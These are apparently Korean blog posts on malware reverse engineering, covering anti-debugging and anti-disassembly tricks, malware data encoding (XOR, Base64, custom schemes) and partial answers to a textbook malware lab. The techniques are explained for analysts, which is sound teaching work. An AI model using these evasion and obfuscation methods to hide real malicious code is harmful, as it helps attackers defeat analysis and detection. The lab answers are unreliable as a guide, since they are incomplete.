VirtualSize와 SizeOfRawData에 주목하자. 윈도우 로더는 메모리 내의 섹션 데이터를 매핑시키기 위해 더 작은 VirtualSize와 SizeOfRawData를 사용한다. SizeOfRawData가 VirtualSize보다 크다면 VirtualSize 데이터를 메모리에 복사하지만 나머지는 무시한다. 여기서 OllyDBG는 SizeOfRawData만을 사용하기 때문에 SizeOfRawData를 0x77777777처럼 큰 값으로 설정하면 OllyDbg가 크래시된다.

이러한 안티디버깅 기법을 우회하는 가장 손쉬운 방법은 수동으로 PE 헤더를 수정하거나 16진수 데이터를 사용해서 SizeOfRawData를 VirtualSize에 가까운 값으로 변경한다.



Conclusion


대중적인 안티디버깅 기법을 보았으며 이러한 기법을 익히고 인지해서 우회하기까지 인내가 필요하다. 대다수 안티디버깅 기법은 프로세스를 천천히 디버깅하는 과정 중에 상식선에서 발견할 수 있다. 대다수 대중적인 안티디버깅 기법은 FS:[0x30]에 접근해 윈도우 API를 호출하거나 시간을 검사하는 기법을 자주 사용한다.

물론 모든 악성코드 분석과 마찬가지로 안티디버깅 기법을 무산시키는 가장 좋은 방법은 계속해서 악성코드를 공부하고 역공학해보는 것이다.



요약


IsDebuggerPresent FS:[30] + 2    CheckRemoteDebuggerPresent FS:[30]+2    tQueryInformationProcess     OutputDebugString    FindWindow

FS:[30]+2    FS:[30]+18    FS:[30]+68

INT3 : 0xCC    0xCD    Checksum    rdtsc    QueryPerformanceCouter    GetTickCount    TLS    SEH : FS:[0]

INT 3    INT 2D    ICE

'Reversing > Theory' 카테고리의 다른 글

Contents of the TIB (32-bit Windows)  (0) 2015.09.04
Anti Virtual Machine  (0) 2015.09.03
Anti disassembly  (0) 2015.09.01
DLL Injection  (0) 2015.08.29
데이터 인코딩  (0) 2015.08.26

Anti disassembly

Kail-KM
|2015. 9. 1. 03:26

Understanding Anti Disassembly


안티 디스어셈블리 구현 시 악성코드 제작자는 디스어셈블러를 속여 실제 실행과 다른 명령어들의 목록을 디스어셈블러에 보이게 일련의 과정을 생성한다. 안티 디스어셈블리 기법은 디스어셈블러의 가정과 제약 사항을 이용한다. 예를 들어 디스어셈블러는 한번에 명령어 하나로 프로그램의 각 바이트를 표현하지만 이러한 잘못된 오프셋에서 디스어셈블하게 교묘히 조작하면 유효한 명령을 화면에서 숨길 수 있다. 아래의 코드를 살펴보자.


이 코드는 IDA Pro로 확인했을 경우에 보이는 코드이다. 40100E의 위치에 있는 JZ 401011 명령어가 존재하고 있다. 하지만 디스어셈블러는 401010의 명령어를 보여주며 심지어 잘못된 주소를 호출하고자 하는 것을 확인할 수가 있다. 이제 이룰 수정한 아래의 코드를 보자.

이전의 코드와는 다르게 40100E의 JZ 명령어가 올바른 곳을 가리키고 있는것을 확인할 수가 있다. 이는 401010의 위치에 0xE8 이라는 값이 존재하기에 디스어셈블러에서 잘못 나타나게 된 것이다.여기서 0xE8은 CALL 명령어의 OPCODE로 0xE8까지 같이 인식이 되었기에 잘못된 주소를 호출하고자 한 것이다.


*OllyDBG의 경우 저 부분은 올바르게 인식을 했지만 다른 부분을 올바르게 인식하지 못하였다. 그러므로 하나의 디스어셈블러에만 의존하는 것은 자칫 오류를 범할 수가 있다.


아래는 CALL 명령어 뒤에 "hello"라는 문자열이 존재하는 경우이다. 원래의 경우라면 hello라는 문자열은 호출되지 않으므로 아무 이상없어야 한다. 하지만 아래 그림 에서와 같이 Call 명령어 뒤에 PUSH 명령어가 존재하는 것을 확인할 수가 있다. 이는 "h"에 해당하는 0x68이 PUSH의 OPCODE이기에 push는 하나의 오퍼랜드를 필요로 하기에 뒤에 4바이트가 push의 오퍼랜드로 인식이 되어 맨 뒤의 0x00은 그 뒤의 명령어들과 짝을 이루어 나타나게 된다.

이를 정상적으로 나타내도록 수정하면 아래와 같이 'hello' 문자열이 나타나고 pop eax 와 retn 명령어가 제대로 나타나는 것을 확인할 수가 있다.



Anti-Disassembly Techniques


디스어셈블러가 부정확하게 디스어셈블하게 하는 악성코드의 주요 방법은 디스어셈블러의 선택과 가정을 악용하는 것이다. 이제 이러한 종류에 어떤 것들이 있는지 확인을 해볼 것이다. 


Jump Instructions with Same Target

이러한 방법 중 하나인 동일한 대상으로 점프하는 명령어에 대하여 알아보면 아래의 명령어와 같다. 이는 두 조건 분기 명령어가 연달아 두 개 모두 같은 지점을 가리키는 형태다. 이는 실제로 JMP 명령어와 다를 바가 없지만 디스어셈블러는 이 명령어를 올바르게 인식하지 못한다.

위에서는 call 명령어가 잘못된 주소를 가리키고 있는 것을 확인할 수가 있다. 이에 대하여 우리는 수정을 하여 아래와 같이 나타낼 수가 있다. 실제로 두개의 조건 분기들은 모두 올바르게 가리키고 있는 것을 확인할 수가 있다. 여기서 우리는 IDA를 통하여 잘못된 주소를 가리키는 부분이 붉게 표시되는 것을 확인할 수가 있는데, 이 표식은 현재 분석하고 있는 파일이 안티디스어셈블리 기법이 적용됐을 가능성을 나타내는 단서 중 하나이다.


A Jump Instruction with a Constant Condition

위와 유사하게 찾을 수 있는 또 다른 안티디스어셈블리 기법은 항상 동일한 조건으로 구성한 하나의 조건 분기 명령어를 이용하는 것이다. 다음 코드는 이 기법을 사용한다. 아래의 그림을 보면 xor eax, eax 명령어로 시작되는 코드를 주의해야 한다. 이 명령어는 EAX를 0으로 만들고 부가적으로 ZF를 설정한다. 이 다음 조건 분기 명령어인 JZ는 ZF가 설정되어 있을 때 분기를 한다.

디스어셈블러는 거짓분기를 우선 처리하면서 참일 때의 분기 구문과 충돌하게 되며 거짓 분기를 첫 번째로 처리하기 때문에 해당 분기를 더 신뢰한다. 아래의 그림을 보면 무조건 점프로 인하여 0xE9는 무시되어야 하자만 거짓 분기를 우선적으로 처리하므로 인하여 E9가 그 뒤의 바이트 까지 오퍼랜드로 이용을 한다는 것이다.

이를 정상적으로 수정하면 아래와 같이 표시가 된다. 여기서도 우리는 올바르지 않은 주소로 점프하려하는 것을 확인할 수가 있었고 이를 단서로 안티 디스어셈블리 기법을 의심할 수가 있다. 아래에는 0xE9가 하나의 Byte로 존재하며 그 뒤의 pop eax와 retn이 올바르게 나타나 있다.


Impossible Disassembly

위에서는 디스어셈블러가 부적절하게 디스어셈블한 코드를 살펴보았다. 그러나 단일 바이트를 두 명령어의 일부로 표현하는 디스어셈블러는 현재 존재하지 않지만 프로세서는 단일 바이트를 다중 명령어로 사용되지 못하게 하는 제약이 없다.

아래의 그림을 보면 첫 번째 명령어는 4바이트의 mov 명령어이다. mov의 마지막 2 바이트는 mov 명령어의 일부이면서 나중에 실행할 명령어 자체이기도 하다. 두번째 명령어인 xor 은 레지스터를 0으로 만들고 ZF를 설정한다. 세번째 명령어는 조건 분기로 ZF가 설정돼 있을 경우 분기한다. 하지만 직전 명령어가 항상 ZF를 설정하므로 실제론 무조건 분기라고 할 수 있다. 디스어셈블러는 jz 명령어 다음에 0xE8로 시작하는 5바이트의 call 명령어의 디스어셈블 여부를 결정한다. 하지만 실제로 이 0xE8은 실행되지 않는 가짜 바이트이며 그 다음 부분이 실제로 실행될 부분이다.



Obscuring Flow Control


Return Pointer Abuse

아래의 코드를 살펴보면 call 명령어가 바로 뒤의 add 명령어를 인식한다. 하지만 add의 오퍼랜드는 IDA에서 인식한 것으로 항상 정확하지는 않다. ESP+4+var_4에서 var_4는 상수로 -4를 이야기하는 것이다. 이는 즉, ESP+4+(-4)이므로 ESP를 기리키게 되는데 이 ESP에 +5를 더하는 것이다. 이로 인하여 스택의 ESP에 위치한 RETN 주소(4011C5)에 5를 더하게 되므로 이는 결국 4011CA를 기리키게 되며 이 주소로 다음 명령어에 의해 이동하게 된다.

이는 가짜 RETN을 통하여 그 부부능로 이동하는 것이라 할 수 있다. 이 예제에서는 위의 명령어 3개를 NOP으로 수정하여 정상적으로 패치할 수가 있다.


Misusing Structured Exception Handlers [ SEH ]

SEH 메커니즘은 디스어셈블러로 따라갈 수 없게끔 디버거를 속여 흐름을 제어하는 방법을 제공한다. SEH는 프로그램이 지능적으로 에러 상황을 처리할 수 있는 방식을 제공한다. 우선 유효하지 않은 메모리에 접근하거나 0으로 나누는 겨우와 같이 다양한 이유로 Exception이 발생할 수 있다. 이에 추가적으로 소프트ㅜ에어 예외 처리는 RaiseException 함수를 호출함으로 발생할 수 있다.

SEH chain은 스레드 내에서 예외 처리를 목적으로 고안한 함수 목록이다. 목록 내의 각 함수는 예외를 처리하거나 목록 내의 다음 핸들러에게 넘길 수 있다. 예외가 최정 핸들러까지 넘어간 경우 처리 불가 예외(Unhacndled exception)로 간주한다.

SEH 체인을 찾으려면 운영체제는 FS 세그먼트 레지스터를 확인한다. 이 부분은 TEB로 스레드 환경블록이라 하며 이에 접근하기 위해 사용 되는 것이 FS 이다. TEB에 있는 첫번째 구조는 스레드 정보블록 TIB이다. 이 TIB의 첫번째 항목이 SEH 체인을 가리키는 포인터이다.SEH Chanin은 EXCEPTION_REGISTRATION 레코드라 부르며 8바이트 데이터 구조의 단순 연결 리스트이다.

SEH 체인은 프로그램의 변화 속에서 서브루틴을 호출하거나 예외 핸들러 블록을 삽입하기 때문에 예외 처리 핸들러가 스택과 같이 동작하며 예외가 발생할 때 가장 먼저 ExceptionHandler 함수를 호출한다. 이는 MS의 소프트웨어 DEP ( Data Execution Prevention)라는 메커니즘에 의해 부과된 제약조건이 적용된다.


Conclusion


현대 디스어셈블러와 같은 고급 프로그램은 명령어가 구성하는 프로그램을 결정하는 작업을 훌륭하게 수행하지만, 디스어셈블러는 여전히 가정 사항을 필요로하고, 프로세스에서 선택해야하는 문제가 있다. 디스어셈블러가 선택하고 가정하는 각각에 대응하는 안티디스어셈블리 기술이 있을 수 있다.


'Reversing > Theory' 카테고리의 다른 글

Anti Virtual Machine  (0) 2015.09.03
Anti Debugging  (0) 2015.09.03
DLL Injection  (0) 2015.08.29
데이터 인코딩  (0) 2015.08.26
위장 악성코드 실행  (1) 2015.08.24

DLL Injection

Kail-KM
|2015. 8. 29. 04:16

'Reversing > Theory' 카테고리의 다른 글

Anti Debugging  (0) 2015.09.03
Anti disassembly  (0) 2015.09.01
데이터 인코딩  (0) 2015.08.26
위장 악성코드 실행  (1) 2015.08.24
Malware Behavior ( 악성코드의 행위 특성 )  (0) 2015.08.20

데이터 인코딩

Kail-KM
|2015. 8. 26. 01:54

악성코드 분석 과정에서 데이터 인코딩이란 의도를 숨길 목적으로 내용을 수정하는 모든 형태를 말한다. 즉, 악성코드는 악의적인 행위를 숨기기 위해 인코딩 기법을 사용하므로, 악성코드 분석가로서 악성코드를 완전히 이해하기 위해 이런 기법들을 이해해야 한다.


인코딩 알고리즘 분석의 목적


악성코드는 인코딩을 다양한 목적으로 사용하는데 일반적으로 네트워크 기반 통신의 암호화를 위해 사용한다. 악성코드는 내부 작업을 숨기기 위해서도 인코딩을 사용한다. 예를 들어 다음과 같은 목적으로 인코딩을 할 수 있다.

- C&C 도메인 같은 설정을 숨기기 위하여

- 정보를 훔치기 전에 임시 파일에 저장하기 위하여

- 악성코드에서 사용하는 문자열을 저장하고 사용하기 전에 디코딩하기 위해

- 악의적인 활동에 쓰이는 문자열을 숨김으로써 악성코드를 정상적인 도구로 가장하기 위해


단순 암호화


단순 인코딩 기법은 사람이 읽지 못하게 변경하거나 데이터를 다른 문자셋으로 전환하기 위한 데이터 변경에 자주 사용된다. 단순 암호화는 정교하지 않아 자주 가치가 없다고 간주되지만, 다음과 같이 악성코드에 이점을 제공한다.

- Exploit Shell Code 같은 공간 제약이 있는 환경에 사용할 수 있을 만큼 충분히 작다.

- 더 복잡한 암호화보다 덜 명확하다.

- 부하가 적게 발생하기 때문에 성능에 미치는 영향이 작다.


시저 암호

초기 암호 중 하나가 바로 Caesar Cipher이다. 시저 암호는 알파벳을 오른쪽으로 3문자를 옮기는 단순 암호다. 

ATTACK AT NOON 

 DWWDFN DW QRRQ



XOR

XOR 암호는 시저 암호와 유사한 단순 암호다. XOR 암호는 고정된 바이트 값을 사용해 논리적 XOR 연산을 함으로써 평문의 각 바이트를 변경한다. 여기선 하나의 기준 값이 주어져야 하는데 바로 어떠한 값과 XOR 연산을 할 것인가이다. 아래는 0x3C와 XOR 암호화를 진행한 것을 보여준다.

0x41 0x54 0x54 0x41 0x43 0x4B 0x20 0x41 0x54 0x20 0x4E 0x4F 0x4F 0x4E (ATTACK AT NOON )

0x7D 0x68 0x68 0x7D 0x7F 0x77 0x1C 0x7D 0x68 0x1C 0x72 0x71 0x71 0x72                        

여기선 문자로 출력이 불가능한 문자들을 포함하기도 한다. 이렇게 XOR 암호는 단 하나의 머신 코드만을 필요로 하기 떄문에 간단하고 양방향성을 갖고 있기 떄문에 편리하다고 할 수 있다. 또한 양방향 암호는 인코딩과 디코딩에 동일한 함수를 사용하므로 디코딩을 할 때에도 동일한 키를 가지고 XOR 연산을 시행하면 된다.




무차별 대입 XOR 인코딩

악성코드 분석을 진행 중이라 가정할 때 리소스 섹션에 아래와 같은 Hex 값이 존재한다고 가정하자. 리소스 섹션은 주로 프로그램의 실행에 필요한 이미지나 아이콘 같은 정보들을 포함하기도 하지만 별도의 EXE나 DLL을 리소스 섹션에 포함하고 있을 수가 있다. 여기서 우리는 Resource Data Entry에 따른 위치에 아래의 값이 있을 경우 많은 부분이 0x50('P')로 되어 있는 것을 확인할 수가 있다. 이를 통하여 0x00이어야 할 부분이 0x50이라고 의심할 수가 있다. 

하지만 조금 더 확실한 단서들을 알아보자면 윈도우에서 EXE나 DLL이 내장되어있으므로 00000000~00000001 부분에 "MZ"가 나타나야 한다. 위에선 첫 바이트가 0x1D 이므로 "M"의 값인 0x4D와 XOR을 하면 해당 키를 알아낼 수가 있다. 이렇게 XOR 연산의 경우 인코딩이 되었다는 것을 인지만 하면 디코딩 또한 간단하다.


NULL Byte 보존 XOR 인코딩

위의 예에서는 너무나 많은 0x50 값으로 인하여 쉽게 XOR 인코딩을 알아낼 수가 있었다. 여기서 악성코드 제작자는 NULL-Preserving 단일 바이트 XOR 인코딩 구조를 이용해 이 문제를 해결할 수가 있다. 일반적인 XOR 인코딩 구조와 달리 널 보존 단일 바이트 XOR 구조는 2가지 예외를 가진다.

- 평문 문자가 NULL이거나 키일 경우에는 해당 바이트는 지나친다.

- 평문 문자가 NULL 또는 키가 아닌 경우에는 키와 더불어 XOR 연산을 통해 인코딩 한다.

아래의 사진 2장을 보면 .docx 확장자이다. 맨앞에 PK가 존재하는데 여기선 NULL 과 키 값을 보존하기 위하여 널 보존 단일 바이트 XOR 인코딩을 진행하였다. 그 결과 두 번쨰 사진과 같이 0x50('P')와 0x00(NULL)이 보존되어있으므로 인코딩을 알아차리기가 위의 예에 비하여 어렵다. 또한 여기서 우리는 확장자가 .docx라는 것을 알고 있기에 키 값을 찾는 것이 쉬웠지만 만약 어떠한 파일이 리소스 섹션에 포함되었는지를 알지 못할 경우 각 파일의 구조와 직접 비교하여 키 값을 찾아내어야 어떠한 파일인지 확인할 수가 있다.

XOR 반복문 파악

인코딩 되어 있는 프로그램의 경우 상세 분석을 통하여 쉽게 프로그램의 디코딩 과정을 찾을 수가 있다. 인코딩된 프로그램의 경우 그 자체 그대로 실행을 할 경우 명령어가 망가져있기 떄문에 보통 프로그램이 메모리에 로드되고 명령어의 초반 부분에 디코딩 루프가 존재하고 있다. 아래는 ap0x patch me1 문제로써 아래와 같은 디코딩 루프가 여러 곳에 존재한다.

굳이 XOR 연산을 한번만 하는 것이 아니라 여러번에 걸쳐서 좀 더 복잡하게 만들 수가 있다. 이러한 디코딩 루프는 OllyDBG나 IDA를 통하여 살펴보면 반복되는 구간으로 인하여 그나마 쉽게 찾을 수가 있다. 아래는 인코딩된 문자열이 디코딩 루프를 걸쳐서 디코딩된 문자열이 되고 그 다음에 그 명령어들이 실행이 되는 일반적인 과정을 간략하게 그린 것이다.

* 추가로 인코딩되어 있어 직접적인 패치가 어려울 경우 수행하는 방법으로 Code Cave가 있다. 코드 케이브는 디코딩이 끝난 후 OEP로 점프하기 이전에 코드 케이브라는 영역을 만들어 그 부분으로 점프하게하며 그 코드케이브는 인코딩의 영향을 받지 않는 섹션이나 위치에 형성해야한다. 코드 케이브영역에는 인코딩 영역의 문자열을 패치하는 명령어들을 만들어 간접적인 패치를 쉽게 할 수 있게 도와준다.




다른 간단한 인코딩 구조


단일 바이트 인코딩의 약점을 감안해서 대부분의 멀웨어 코더들은 좀 더 진화된 인코딩 구조를 구현한다. 

인코딩 구조 

설명 

ADD, SUB 

 인코딩 알고리즘은 개별 바이트에 대해 XOR 과 유사한 방법으로 ADD와 SUB를 사용할 수 있다. ADD와 SUB는 양방향성이 아니므로 하나는 인코딩을 위하여 다른 하나는 디코딩을 위하여 함께 사용해야 한다.

ROL, ROR 

 명령어는 바이트를 오른쪽이나 왼쪽으로 순환시킨다. ADD 와 SUB와 동일하게 양방향성을 갖지 못했기 때문에 이들 명령어는 함께 사용되어야 한다.

ROT 

 ROT는 원래의 시저 암호다. 일반적으로 알파벳 문자 또는 ASCII 에 있는 94개의 출력 가능 문자를 사용한다.

Multibyte 

 단일 바이트 대신 알고리즘은 긴 키(4 or 8 Byte )를 사용할 수 있다. 일반적으로 편의를 위해 각 블록에 대해 XOR을 사용한다.

Chained or loopback 

 이 알고리즘은 다양한 구현과 더불어 데이터 자체를 키의 일부로 사용한다. 거의 대부분 원본 키는 일반 텍스트의 한 측면에 적용되고, 인코딩된 결과 문자는 다음 문자의 키로 사용된다. 


Base64

Base64 인코딩은 바이너리 데이터를 ASCII 문자열 포멧으로 나타낼 때 사용하며 악성코드에서 흔히 발견할 수 있기 때무에 Base64를 인지하는 방법을 알고 있어야 한다. Base64라는 단어는 다목적 인터넷 메일 확장(MIME) 표준에서 나왔으며 원래는 이메일 첨부 파일의 전송을 위한 인코딩으로 개발됐지만, 현재는 HTTP와 XML을 위해 널리 사용된다.

Base64 인코딩은 바이너리 데이터를 제한된 64개의 문자 집합으로 변환한다. 다른 종류의 Base64 인코딩을 위한 다수의 구조와 알파벳이 있다. 이들 모두는 64개의 주요 문자를 사용하고 패딩을 나타내기 위한 추가 문자로 =를 자주 사용한다.

인코딩되는 방식은 나름 표준적이라 할 수가 있다. 3Byte의 문자 블럭을 사용한다. 위에서는 'M', 'a', 'n'을 예로 들고 있다. 이렇게 제시된 문자들의 아스키 값을 2진수로 나타내면 총 24조각으로 나누어 진다. 이렇게 나누어진 블럭을 6비트씩 읽어들인다음 아래의 Index Table에 따라 해당 값을 찾는다. 이렇게 총 24블럭을 6개씩 나누므로 4개의 문자가 나온다.

디코딩 또한 동일 프로세스를 역으로 실행하면 된다. 다시 말하자면 Base64 문자를 6비트로 변환하고 모든 비트를 순서대로 나열한 다음에 8비트씩 그룹 지으므로 총 3개의 그룹으로 나누어 지며 그에 해당하는 ASCII를 찾으면 해당 문자를 복원할 수가 있다.

* 악성코드가 문자열로 A~Z + a~z + '+' , '/'을 포함할 경우 이는 Base64 테이블이므로 인코딩을 의심해보아야 한다. 분명 어느 위치를 계속 참조할 것이다. 그 부분을 찾아야 한다.


일반 암호화 알고리즘


치환 암호와 동일한 단순 암호 구조는 현대 암호학의 암호와 매우 다르다. 현대 암호학은 기하급수적으로 증가하는 계산 능력을 요구하며, 알고리즘은 너무 많은 계산 능력을 필요로 하기 때문에 해당 암호를 깨는 것은 비실용적이 되도록 설계 됐다. 이전의 단순 암호 구조는 무차별 대입에 대한 보호조차 존재하지 않고 단순히 이해를 어렵게 하는 것이 목적이다. 암호학은 많은 부분에서 진화했지만 악성코드에 있어서 자신의 정보를 숨기기 위해 이러한 고도의 암호학을 활용하지 않는 이유 또한 존재한다. 이유는 다음과 같다.

- 암호 라이브러리는 크기가 클 수 있으므로, 악성코드는 정적으로 코드에 통합시키거나 기존 코드에 링크할 필요가 있다.

- 호스트의 기존 코드에 크드를 링크하는 것은 휴대성을 떨어뜨릴 수 있다.

- 표준 암호 라이브러리는 쉽게 탐지된다.

- 대칭 암호 알고리즘은 암호키를 숨기는 방법에 대해 걱정할 필요가 있다.

다수의 표준 암호 알고리즘은 강력한 암호 키에 의존해 비밀을 저장한다. 암호 알고리즘 자체는 널리 알려지더라도 암호문을 복호화하는 것은 다량의 계산을 요구하기 떄문에 거의 불가능하다는 개념이다. 복호화에 걸리는 충분한 계산량을 보장하기 위해 암호 키는 가능한 모든 키를 쉽게 테스트할 수 없게 충분히 길어야 한다. 또한 악성코드가 사용할 수 있는 표준 알고리즘에 대해서는 알고리즘 뿐만 아니라 키까지 식별할 수 있다는 점이 핵심이다.

표준 암호의 사용을 식별할 수 있는 몇가지 쉬운 방법으로는 암호 함수가 참조하는 문자열과 임포트에 대한 검색과 특정 내용을 검색하기 위한 몇 가지 도구의 사용을 포함 한다.


문자열과 임포트 식별

표준 암호 알고리즘을 식별하는 한 가지 방법은 암호 사용에 참조하는 문자열과 임포트를 찾아 내는 것이다. 해시, 키 생성, 암호와 관련된 서비스를 제공하는 일부 암호 임포트 목록들이 있는데 이러한 암호화 관련된 API 함수 대부분은 Crypt, CP, Cert로 시작한다.


암호 상수 검색

암호 탐지의 세 번째 기본 방법은 일반적으로 사용되는 암호 상수를 검색할 수 있는 도구를 사용하는 것이다. 이러한 도구로는 IDA Pro의 FindCrypt2와 Krypto ANALyzer가 있다.


하이 엔트로피 콘텐츠 검색

암호 사용을 식별할 수 있는 다른 방법은 하이 엔트로피 콘텐츠를 검색하는 것이다. 암호 사용의 가능성으로 암호 상수나 암호 키를 가종하는 것 외에도 이 기법은 암호화된 내용 자체도 식별할 수 있다. 이 기법의 광범위한 범위로 인해 RC4 같이 암호 상수가 발견되지 않는 경우에 적용할 수 있다. 하지만 하이 엔트로피 콘텐츠 기법은 정확성이 떨어지므로 최후의 수단으로 사용하는 것이 좋다. 사진, 영화, 음성 파일, 압축 데이터 같은 다양한 유형의 콘텐츠는 엔트로피가 높게 표현된다. 따라서 헤더를 제외하고는 암호화된 내용과 구별하기 어렵다.



사용자 정의 인코딩


악성코드는 종종 자신만의 인코딩 구조를 사용한다. 그런 구조 중 하나는 여러 단순 인코딩 메소드 계층을 두는 것이다. 예를 들어 악성코드는 XOR 암호화를 한 라운드 수행한 후 결과를 Base4 인코딩할 수 있다. 다른 유형의 구조는 단순히 표준 게시 암호 알고리즘과 유사성을 가진 사용자 정의 알고리즘을 개발한다.


사용자 정의 인코딩 파악

쉽게 식별 가능한 문자열이나 상수를 사용할 때 악성코드에 있는 일반 암호 기법과 인코딩 함수를 식별하는 여러 방법을 설명했다. 대다수의 경우 이미 언급된 기술을 통해 사용자 정의 암호화 기법을 찾는 데 도움을 받을 수 있다. 하지만 명확한 증거가 없는 경우 식별하는 것이 어려워질 수 있다.

하지만 대부분의 경우 복호화 함수는 입력 함수에서 그리 멀리 떨어져 있지 않다. 결과 함수 역시 실행 흐름의 반대 방향으로 추적한다는 점을 제외하고는 유사하다. 이를 유념하고 상세 분석을 진행하다보면 복호화된 문자열을 쉽게 찾을 수가 있다.


사용자 정의 인코딩이 공격자에게 주는 이점

공격자에게 사용자 정의 인코딩 기법은 이점을 가진다. 단순 인코딩 구조의 장점인 작은 크기와 암호 사용의 불확실성을 유지하면서도 역공학 작업은 더 어렵게 한다. 다양한 종류의 표준 암호 기법의 경우 암호 알고리즘이 파악되고 키를 찾았다면 표준 라이브러리를 이용한 디코더 제작은 매우 쉬운 일이다. 

사용자 정의 인코딩을 이용하면 공격자는 자신이 원하는 임의의 인코딩 구조를 생성할 수 있다. 키를 코드 자체에 효과적으로 이식해 숨기 수도 있으며 공격자가 키를 사용했고 그 키가 발견됐다고 하더라도 복호화를 도와줄 수 있는 라이브러리를 쉽게 구하기 어렵다.



디코딩


인코딩 함수를 분리하기 위한 탐색도 분석 과정에서 중요하지만, 숨겨진 내용을 디코딩하는 것도 중요하다. 악성코드에서 인코딩이나 디코딩을 재현할 수 있는 두 가지 기본적인 방법이 있다.

- 해당 함수를 다시 프로그램하는 방법

- 악성코드 자체에 있는 것처럼 해당 함수를 사용하는 방법


셀프 디코딩

알고리즘의 인지 여부에 상관없이 데이터를 복호화하는 가장 경제적인 방법은 프로그램 자체적으로 일반적인 처리과정의 일환으로 복호화를 수행하는 것이다. 이런 프로세스를 셀프 디코딩이라고 한다. 디버거를 이용해 악성 프로그램을 중지한 후 메모리에서 실행하기 전에 보지 못했던 문자열을 파악했다면 이미 셀프 디코딩 기법을 사용한 것이다. 이는 디코더를 만드는 것보다 효율적이다.

하지만 셀프 디코딩이 콘텐츠를 디코딩하는데 저렴하고 효과적인 방법일 수 있지만 단점이 있다. 우선 복호화를 수행하는 모든 인스턴스를 파악하기 위해서는 복호화 함수를 구분할 수 있어야 하고, 복호화 루틴 이후 직접적으로 BP를 설정해야 한다. 더 중요한 점은 악성코드가 알고자 하는 정보를 복호화하지 않거나 악성코드가 어떤 방법으로 정보를 다루는지 파악하지 못한 경우 정보를 얻을 수 없다는 사실이다. 이런 이유들로 인해 통제가 가능한 기법을 사용하는 것이 중요하다.


디코딩 함수의 별도 프로그래밍

단순 암호와 인코딩 방법에 대해 프로그래밍 언어에서 제공하는 표준 함수를 이용할 수 있다. 아래는 표준 Base64 인코딩 문자열을 디코딩하는 작은 파이썬 프로그램을 보여준다. 관심 문자열을 디코딩하기 위해 example_string으로 변수를 변경한다.

변형된 알파벳을 사용하는 XOR 인코딩이나 Base64 인코딩 같이 표준 함수가 없는 단순 인코딩 방법의 경우 가장 쉬운 선택은 자신과 친숙한 프로그래밍 언어로 인코딩 함수를 프로그래밍하거나 스크립트를 작성하는 것이다. 아래는 위에서 설명했던 NULL 보존 XOR 인코딩을 구현하는 파이썬 함수의 예를 보여준다.

위의 함수는 다른 곳에서 읽은 self.data의 값을 가지고 xor 연산을 진행하는 것을 확인할 수가 있다. 이렇게 XOR 연산을 진행할 때 키 값인 0x50과 NULL인 0x00은 쉽게 인지되는 것을 방지하기 위하여 널 보존 XOR 인코딩을 수행하고 있는 것이다. 


일반 복호화를 위해 명령어 사용

셀프 디코딩에서 악성코드를 통해 복호화를 하려면 악성코드가 정상적으로 실행된 후 적절한 시점에 정지시켜야 한다. 하지만 악성코드의 복호화를 통제할 수 있다면 악성코드의 일반 실행 과정에 제한될 필요가 없다. 인코딩 루틴이나 디코딩 루틴이 분리되고 파라미터가 이해되면 악성코드에서 사용한 악의적인 콘텐츠를 디코딩하는데 완전하게 활용 가능할 수 있다. 따라서 효과적으로 악성코드를 이용해 악성 코드를 분석할 수 있다.

암호화된 파일(악성코드 자체)과 암호화 함수가 어떻게 동작하는지에 대한 지식을 갖고있다. 높은 수준의 목표는 암호화된 파일을 이용해 암호화에 사용된 동일한 루틴을 통해 실행할 수 있게 악성코드를 다루는 것이다. 높은 수준의 목표는 다음과 같은 일련의 작업으로 나눌 수 있다.

1. 디버거에서 악성코드를 설정한다. 

2. 읽기 위한 암호화된 파일을 준비하고 쓰기 위한 결과 파일을 준비한다. 

3. 악성코드가 메모리를 참조할 수 있게 디버거 내부에서 메모리를 할당한다. 

4. 할당된 메모리 영역으로 암호화된 파일을 로딩한다. 

5. 암호화 함수를 위한 적절한 변수와 인자와 더불어 악성코드를 설정한다. 

6. 암호화를 수행하기 위해 암호화 함수를 실행한다. 

7. 새롭게 복호화된 메모리 영역을 결과 파일에 쓴다. 



정리


악성코드 제작자와 악성코드 분석가 모두 지속적으로 자신의 능력과 기술을 개선하고 있다. 탐지를 회피하고 분석가를 좌절시키기 위해 악성코드 제작자는 자신의 의도, 기술과 통신 내용을 숨길 수 있게 다양한 방법을 지속적으로 사용한다. 이런 의도의 기초 도구는 인코딩과 옴호화다. 인코딩은 통신 그 이상의 영향을 끼친다. 다행히도 적절한 도구와 기법을 이용해 비교적 쉽게 파악하고 대응할 수 있다.





참고

https://en.wikipedia.org/wiki/Base64

https://www.base64encode.org/



실습


Lab13-1

1. 동적 분석을 통해 얻을 수 있는 정보와 악성코드에 있는문자열을 비교하자 비교를 바탕으로 어떤 요소가 인코딩됐는가?

www.practicalmalwareanalysis.com 라는 디코딩된 문자열을 찾을 수가 있다.


2. IDA를 사용해 문자열 xor을 탐색해 잠재적인 인코딩을 찾아보자. 어떤 유형의 인코딩을 발견했는가?

00401300 > 00401190


3. 인코딩에 사용하는 키는 무엇이며, 인코딩된 내용은 무엇인가?

4C 4C 4C 15 4B 49 5A 58 4F 52 58 5A 57 56 5A 57 4C 5A 49 5E 5A 55 5A 57 42 48 52 48 15 58 54 56

www.practicalmalwareanalysis.com


4. 정적도구를 사용해 그 외의 다른 인코딩 메커니즘을 파악해보자. 무엇을 찾았는가?

401000에도 디코딩루프가 존재하고있다.


5. 악성코드를 통해 전달되는 네트워크 트래픽을 위해 어떤 유형의 인코딩이 사용됐는가?


6. 디스어셈블리에서 Base64 함수는 어디있는가?


7. 전달되는 Base64 인코딩된 데이터의 최대길이는 무엇인가? 무엇이 인코드되는가?


8. 악성코드에서 Base64 인코딩된 데이터에서 패딩 문자(= or ==)를 본 적이 있는가?


9. 이 악성코드는 무엇을 하는가?


리소스 섹션에 무엇인가를 숨겨놓음

00000000603C   00000040603C      0   http://%s/%s/0000000056C8   

0000004056C8      0   InternetReadFile

0000000056DC   0000004056DC      0   InternetCloseHandle

0000000056F2   0000004056F2      0   InternetOpenUrlA

000000005706   000000405706      0   InternetOpenA

000000005714   000000405714      0   WININET.dll

000000004EDD   000000404EDD      0   ;=@n@

00000000604C   00000040604C      0   Could not load exe.
000000006060   000000406060      0   Could not locate dialog box.
000000006080   000000406080      0   Could not load dialog box.
00000000609C   00000040609C      0   Could not lock dialog box.


Address        Function   Instruction                      
-------        --------   -----------                      
.text:004011B8 sub_401190                 xor     eax, 3Bh 
.text:00402BE2                            xor     dh, [eax]
.text:00402BE6                            xor     [eax], dh


Lab13-2

